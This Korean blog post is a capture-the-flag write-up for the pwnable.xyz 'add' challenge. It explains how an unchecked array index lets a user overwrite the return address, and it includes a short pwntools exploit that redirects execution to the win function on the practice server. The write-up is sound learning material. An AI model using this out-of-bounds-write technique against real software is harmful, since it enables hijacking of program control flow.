상세 컨텐츠

본문 제목

[pwnable.xyz] add

SYSTEM HACKING/pwnable.xyz

by koharin 2019. 9. 5. 17:39

본문

728x90
반응형

# 보호기법 확인

 

 

# IDA - pseudo code

 

 

memset(v7, 0, 80) : v7 시작주소에서부터 80 바이트를 0 값으로 설정한다.

%ldsigned long int의 형식문자열로, signed long int의 유효범위는 -2147483648 ~ 2147483647이다.

win 함수에서 flag를 출력해주니까 win 함수로 리턴해서 flag를 출력할 방법을 찾아야 한다.

 

v7[v6] = v4 + v5

argv = (const char**)v7[v6];

 

v7의 위치는 [rbp-60h], 즉 rbp-96에 위치한다.

하지만 rbp+8에 return address가 위치한다.

(64bit이므로 주소가 4 바이트가 아닌 8 바이트!)

 

따라서 v7으로부터 -96 + x = 8을 만족하는 x는 104 바이트가 된다. (10진수)

v7의 시작주소에서 +104를 해야 return address 위치로 이동할 수 있고, 여기에 flag 함수의 주소를 넣으면 된다.

 

배열을 생각해보면, 각 인덱스는 해당 자료형의 크기만큼을 크기로 가진다.

따라서 v7 변수는 __int64 이므로 int형의 크기가 8 바이트이다.

따라서 각 인덱스가 8 바이트의 크기를 가지므로, v7[v6]에서 v6에는 104가 아닌 104/8 = 13인 인덱스에 return address가 위치한다고 생각해야 한다.

 

flag 함수의 주소는 0x400822인데, 입력받을 때 10진수로 입력받으므로 변환한 값으로 주면 된다.

 

# exploit code

 

#!/usr/bin/python                                                                      
from pwn import *

p = remote("svc.pwnable.xyz", 30002)

p.sendlineafter("Input: ", "4196386 0 13")
p.sendlineafter("Input: ", "a a a")

p.interactive()

 

# exploit

 

 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Grownup  (0) 2019.09.27
[pwnable.xyz] note  (0) 2019.09.27
[pwnable.xyz] misalignment  (0) 2019.09.17
[pwnable.xyz] sub  (0) 2019.09.05
[pwnable.xyz] welcome  (0) 2019.09.04

관련글 더보기